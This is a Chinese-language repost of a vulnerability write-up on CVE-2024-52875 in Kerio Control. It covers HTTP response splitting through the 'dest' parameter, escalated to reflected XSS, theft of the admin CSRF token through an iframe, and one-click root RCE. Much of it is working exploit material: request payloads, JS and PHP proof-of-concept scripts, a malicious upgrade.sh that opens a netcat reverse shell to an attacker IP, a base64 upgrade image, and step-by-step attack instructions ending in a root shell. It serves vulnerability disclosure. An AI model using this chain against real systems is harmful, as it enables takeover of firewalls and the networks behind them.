CVE-2024-52875

漏洞分析

在Kerio Control 中存在多个HTTP 响应拆分漏洞,影响版本 9.2.5(2018 年 3 月发布)至 9.4.5。

漏洞存在于以下(以及可能的其他)页面中:

  • /nonauth/guestConfirm.cs
  • /nonauth/expiration.cs
  • /nonauth/addCertException.cs

用户通过“dest”GET 参数传递给这些页面的输入在用于生成 302 HTTP 响应中的“Location”HTTP 头之前没有得到适当的清理。具体来说,应用程序没有正确地过滤/删除换行(LF)字符。因此,这可以被利用来执行开放重定向HTTP 响应拆分攻击,进而可能允许执行反射型跨站脚本(XSS)和其他可能的攻击。

本来这些是“低”严重性的漏洞,因为需要用户交互(UI)组件:受害者用户需要在点击恶意链接时登录 Kerio Control,然后他们应该与被 XSS 攻击的页面进行交互。如果成功的利用需要 N 次点击攻击,这就是为什么最开始将这些安全问题报告给GFI 软件时将其列为“低”严重性

然而,进一步的分析证明发现可以进一步利用,因为意识到这些漏洞实际上可以通过利用一个九年前的漏洞来执行一键RCE攻击。

漏洞分析

首先确定这些漏洞的根本原因,这些漏洞与上述页面中存在的CRLF 注入漏洞有关。如果尝试向这些页面提交一个“目标”GET 参数,将得到以下类似的响应。

请求:

1
2
3
GET /nonauth/guestConfirm.cs?dest=test HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 10:50:03 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: µë-
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="µë-">µë-</a>

发现了响应中的字符串“µë-”以及作为“Location” HTTP 响应头值的字符串,表明“dest” GET 参数可能是一个用 Base64 编码的 URL。因此,可以尝试将一个随机的 URL 编码为 Base64,并使用这样的值重新提交上述 HTTP 请求。

请求以 Base64 编码的“http://attacker.website”作为有效载荷:

1
2
3
GET /nonauth/guestConfirm.cs?dest=aHR0cDovL2F0dGFja2VyLndlYnNpdGU= HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:03:38 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: http://attacker.website
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="http://attacker.website">http://attacker.website</a>

成功了!所以,首先明显的事情是:我们可以执行开放重定向攻击……,这并没有太大危害,尤其是考虑到这很可能是设计上的功能,某种“有意为之”的东西,而不是真正的安全漏洞,所以继续测试!如果我们尝试在我们的有效负载中插入 CRLF 序列(\r\n),我们会注意到它们实际上并没有从 HTTP 响应中被移除!

请求以 Base64 编码的“测试\r\n 测试”作为有效载荷:

1
2
3
GET /nonauth/guestConfirm.cs?dest=VGVzdA0KVGVzdA== HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:16:19 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test
Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="Test
Test">Test
Test</a>

有变化!这意味着 CRLF 序列没有被正确过滤/移除,因此可以向 Kerio Control 生成的 HTTP 响应中注入任意 HTTP 头,但是关于HTTP 响应拆分攻击怎么办?为了使这种攻击生效,我们应该能够注入两个 CRLF 序列,然后是 HTTP 响应体的(开始部分)。所以,让我们尝试以下内容。

请求以 Base64 编码的“测试”作为有效载荷:

1
2
3
GET /nonauth/guestConfirm.cs?dest=VGVzdA0KDQpUZXN0 HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:24:20 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test
Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="Test

Test">Test

Test</a>

HTTP 头中的双 CRLF 序列已被忽略,我们仍然得到了几乎与之前相同的响应(只是在“Location”HTTP 头之后有一个 CRLF 序列)尝试仅提交换行符(LF)字符,而不包含回车符(CR),成功了。

请求以 Base64 编码的“测试”作为有效载荷:

1
2
3
GET /nonauth/guestConfirm.cs?dest=VGVzdAoKVGVzdA== HTTP/1.1
Host: 192.168.123.64:4081
Connection: close

响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
HTTP/1.1 302 Found
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Close
Content-Type: text/html
Date: Thu, 5 Dec 2024 11:34:58 GMT
Expires: Wed, 4 Jun 1980 06:02:09 GMT
Location: Test


Test
Pragma: no-cache
Server: Kerio Control Embedded Web Server
Strict-Transport-Security: max-age=63072000, includeSubDomains, preload
X-UA-Compatible: IE=edge

If your browser does not redirect automatically, please click this link: <a href="Test

Test">Test

Test</a>

成功!!在这种情况下,HTTP 响应被成功“分割”为一个或多个消息,除了任何 HTTP 头之外,还可以在 HTTP 响应体中注入任意数据!例如,在上面的 HTTP 响应中,“Location”是最后一个 HTTP 头,而 HTTP 响应体从“Test\r\nPragma…”开始,到“Test”结束。

漏洞利用

因此,现在能够执行一个HTTP 响应拆分攻击,继续尝试将其转变为一个反射型跨站脚本(XSS)攻击,因为我们可以在 HTTP 响应体中注入任意 HTML 标签。

制作一个 HTML 页面:

1
2
3
4
5
6
<script>
target = "192.168.123.64"; // IP address / hostname of the Kerio Control instance
payload = (navigator.userAgent.includes("Firefox")) ? "resource://xss" : "";
payload += "\n\n<script>alert('XSS on ' + document.domain)<\/script>";
location.href = "https://" + target + ":4081/nonauth/guestConfirm.cs?dest=" + encodeURIComponent(btoa(payload));
</script>

联系GFI 软件报告这些发现,包括上述概念验证脚本。才意识到这个脚本只有在使用代理工具(在测试这些漏洞时使用的Burp Suite)时才会工作。这是因为响应中设置的“内容编码”HTTP 头,它将指示浏览器使用Deflate作为解压缩方法来解码 HTTP 响应体——当使用 Burp 时,这会自动完成。

注意,“内容编码”头在“位置”头之前被设置,这意味着不能简单地忽略它,稍微处理一下,只需使用Deflate算法对有效载荷(或者更确切地说,响应体)进行编码!

因此,我们可以将概念验证重写为以下 PHP 脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$target = "192.168.123.64"; # IP address / hostname of the Kerio Control instance

$body = "<script>alert('XSS on ' + document.domain)</script>";
$body = zlib_encode($body, ZLIB_ENCODING_DEFLATE);

$payload = (preg_match("/Firefox/", $_SERVER["HTTP_USER_AGENT"])) ? "resource://xss" : "";
$payload .= "\nContent-Length: " . strlen($body);
$payload .= "\n\n{$body}";

header("Location: https://{$target}:4081/nonauth/guestConfirm.cs?dest=" . urlencode(base64_encode($payload)));

?>

在正文之前也注入了一个“Content-Length” HTTP 头,因为这样我们指示浏览器只读取/解析 HTTP 响应正文的前 N 个字节(忽略所有其余内容),其中 N 被指定为“Content-Length”头的值。如果不这样,那么浏览器将继续读取/解析正文直到末尾,将会得到一个响应解码错误,因为注入正文之后的字符串不是有效的Deflate-编码数据。

下一步是将概念验证“武器化”,以展示其真实的安全影响。然而,注意到的第一个缺点是以下内容:当 Kerio Control 管理员用户登录到管理界面时,应用程序将提供两个 cookie,一个带有属性的会话 ID(SESSION_CONTROL_WEBADMIN),以及一个令牌(TOKEN_CONTROL_WEBADMIN)。这两个 cookie 都设置了path=/admin/,这意味着无法直接从位于/nonauth/目录下的页面中访问这些 cookie(在这种情况下,仅限于CSRF令牌)。

如果修改概念验证脚本中的 XSS 有效载荷,以便“alert”document.cookie的值,可以看到一个空的 alert 框。就是这样:document.cookie处于/nonauth/目录下的页面时是空的,这是因为 cookie 的作用域仅限于/admin/路径……不用担心,一个九年漏洞可以利用:仍然可以通过使用 iframe 加载位于/admin/目录下的资源(如 JS 脚本)来“窃取”非HttpOnly的 cookie;一旦这个加载完成,就可以通过iframe.contentWindow.document.cookie访问 cookie,就像这样:

1
2
3
4
5
6
7
8
9
10
11
12
function createIFrame()
{
iframe = document.createElement("iframe");
iframe.src = "https://192.168.123.64:4081/admin/constants.js";
iframe.style.display = "none";
iframe.sandbox = "allow-scripts allow-same-origin";
iframe.onload = function() {
cookie = iframe.contentWindow.document.cookie;
parseAndSaveCookie(cookie);
};
document.body.appendChild(iframe);
}

现在能够“窃取”受害者管理员用户的CSRF令牌,并通过滥用XSS 有效载荷中的XMLHttpRequest API 窃取执行任何操作。这就可以添加新的管理员用户,更改任何用户的密码,修改防火墙设置等等……只需简单地诱骗受害者管理员用户点击恶意链接(一键攻击)!但是这个之前还有一个可以“远程命令执行”问题:

管理员界面的升级功能可以通过将 tar 文件更改为.img 扩展名来上传任意文件。如果创建了一个包含 upgrade.sh shell 脚本的 tar 文件,该脚本将以 root 权限执行。Kerio 尚未为升级功能提供修复方案。

将其包含在 XSS 有效载荷中是有可以的,它可能导致一键RCE攻击,攻击者可能能够在 Kerio Control 实例上获得一个root shell!🎉

通过利用 CVE-2024-52875 通过 XSS 向量,以下是使用它的步骤:

  1. 创建如漏洞利用中描述的升级.img文件(使用攻击者的 IP 地址,例如 192.168.123.38):
1
2
3
4
5
6
$ cat upgrade.sh
#!/bin/bash
nc 192.168.123.38 4444 -e /bin/bash &

$ tar czf upgrade.tar.gz upgrade.sh
$ mv upgrade.tar.gz upgrade.img
  1. 启动以下命令以获取 upgrade.img 文件的 Base64 编码版本:
1
2
$ cat upgrade.img | base64 -w 0
H4sIAAAAAAAAA+3OMQ6CQBSE4a05xTMmdi77YNnF44ASoCFGJPH4QkzUSitiTP6vmWKmmOncXqpTY8fOrMbNQvBLaizcez6EzKiP6r3GGINxqkVeGHHrXXqZxmt1ETFN298+7b71f2q7Set+SOtq7JLhKHrIrIbSapbbvBQ/k30jz43skl8/BgAAAAAAAAAAAAAAAAAs7g2Pz3gAKAAA
  1. 将此 Base64 字符串复制到概念验证脚本中,作为 $upgrade 变量的值。
  2. 将 $target 变量设置为 Kerio Control 实例的 IP 地址/主机名。
  3. 将 Proof of Concept PHP 脚本复制到您的 Web 服务器的 webroot 目录中。
  4. 打开 4444 端口的 netcat 监听器:
1
2
$ nc -vlnp 4444
Listening on 0.0.0.0 4444
  1. 受害者管理员用户登录到 Kerio Control 管理界面。
  2. 一旦登录,管理员用户会被诱骗打开攻击者服务器上托管的概念验证脚本。
  3. 一旦加载,XSS 有效载荷将执行RCE攻击,攻击者将在 netcat 监听器上获得一个root shell
1
2
3
4
5
$ nc -vlnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.123.64 47023
id
uid=0(root) gid=0(root) groups=0(root)

转载:https://karmainsecurity.com/hacking-kerio-control-via-cve-2024-52875